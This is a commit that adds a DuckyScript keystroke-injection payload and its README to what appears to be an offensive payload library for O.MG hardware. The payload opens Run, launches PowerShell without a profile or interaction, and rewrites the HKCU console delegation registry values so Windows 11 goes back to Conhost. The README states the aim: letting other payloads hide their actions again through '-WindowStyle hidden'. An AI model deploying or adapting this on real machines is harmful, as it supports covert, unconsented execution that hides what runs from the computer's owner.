Uploaded Windows11_CommandPrompt_Downgrade

Changing Windows 11 default Console to enable Powershells -WindowStyle hidden again.

payloads/library/execution/Windows11_CommandPrompt_Downgrade/README.md

@@ -0,0 +1,27 @@
+**Title: Windows11_CommandPrompt_Downgrade**
+
+<p>Author: 0iphor13<br>
+OS: Windows11<br>
+Version: 1.0<br>
+
+**What is Windows11_CommandPrompt_Downgrade?**
+
+*It is pretty simple to explain... In Windows 11 22H2, the default app used to host console windows has been changed to Windows Terminal. After the October 2022 update, Command Prompt, Windows PowerShell, and other console apps will appear inside an instance of Windows Terminal[(Reference)](https://support.microsoft.com/en-us/windows/command-prompt-and-windows-powershell-for-windows-11-6453ce98-da91-476f-8651-5c14d5777c20). This causes Powershell not using the parameter `-WindowStyle hidden` properly, resulting in Powershell just minimizing instead of properly hiding itself*
+
+By default this payload reverts the default app to Conhost. You may intergrate this to properly hide your payloads actions again.
+Other values are also provided for a backup solution or simply to tinker around with it.
+
+**Instruction: Downgrade to Conshost**
+
+This by default is already configured and plug&play.
+- Change line 35 to beeing `CommandPrompt_Downgrade(#CONHOST,#CONHOST)`
+
+**Instruction: Using Windows Default**
+
+- Change line 35 to beeing `CommandPrompt_Downgrade(#AUTOMATIC,#AUTOMATIC)`
+
+**Instruction: Using Terminal App**
+
+- Change line 35 to beeing `CommandPrompt_Downgrade(#TERMINAL_DC,#TERMINAL_DT)`
+
+_Note: This changes values in the registry._

payloads/library/execution/Windows11_CommandPrompt_Downgrade/payload.txt

@@ -0,0 +1,35 @@
+REM       Windows11_CommandPrompt_Downgrade
+REM       Version 1.0
+REM       OS: Windows11
+REM       Author: 0iphor13
+REM       Requirements: OMG Firmware v.3.0 or higher
+REM       Changing the Command Prompt to Conhost, to enable hidden Powershell for certain W11 Builds.
+REM       Other Methods values are also provided for backup or simply playing around.
+
+
+REM Define your language below
+DUCKY_LANG de
+
+REM Value for Conhost
+DEFINE #CONHOST B23D10C0-E52E-411E-9D5B-C09FDF709C7D
+
+REM Value for default usage
+DEFINE #AUTOMATIC 00000000-0000-0000-0000-000000000000
+
+REM Values for Windows Terminal
+DEFINE #TERMINAL_DC 2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69
+DEFINE #TERMINAL_DT E12CFF52-A866-4C77-9A90-F570A7AA2C6B
+
+REM Function for executing Powershell and changing registry values
+FUNCTION CommandPrompt_Downgrade(#VAR1, #VAR2)
+DELAY 2000  
+GUI r
+DELAY 1000
+STRINGLN powershell -NoP -NonI
+DELAY 1000
+STRING Set-ItemProperty -Path "HKCU:\Console\%%Startup" -Name DelegationConsole -Value "{#VAR1}";
+STRINGLN Set-ItemProperty -Path "HKCU:\Console\%%Startup" -Name DelegationTerminal -Value "{#VAR2}";exit
+END_FUNCTION
+
+REM Insert desired values below.
+CommandPrompt_Downgrade(#CONHOST,#CONHOST)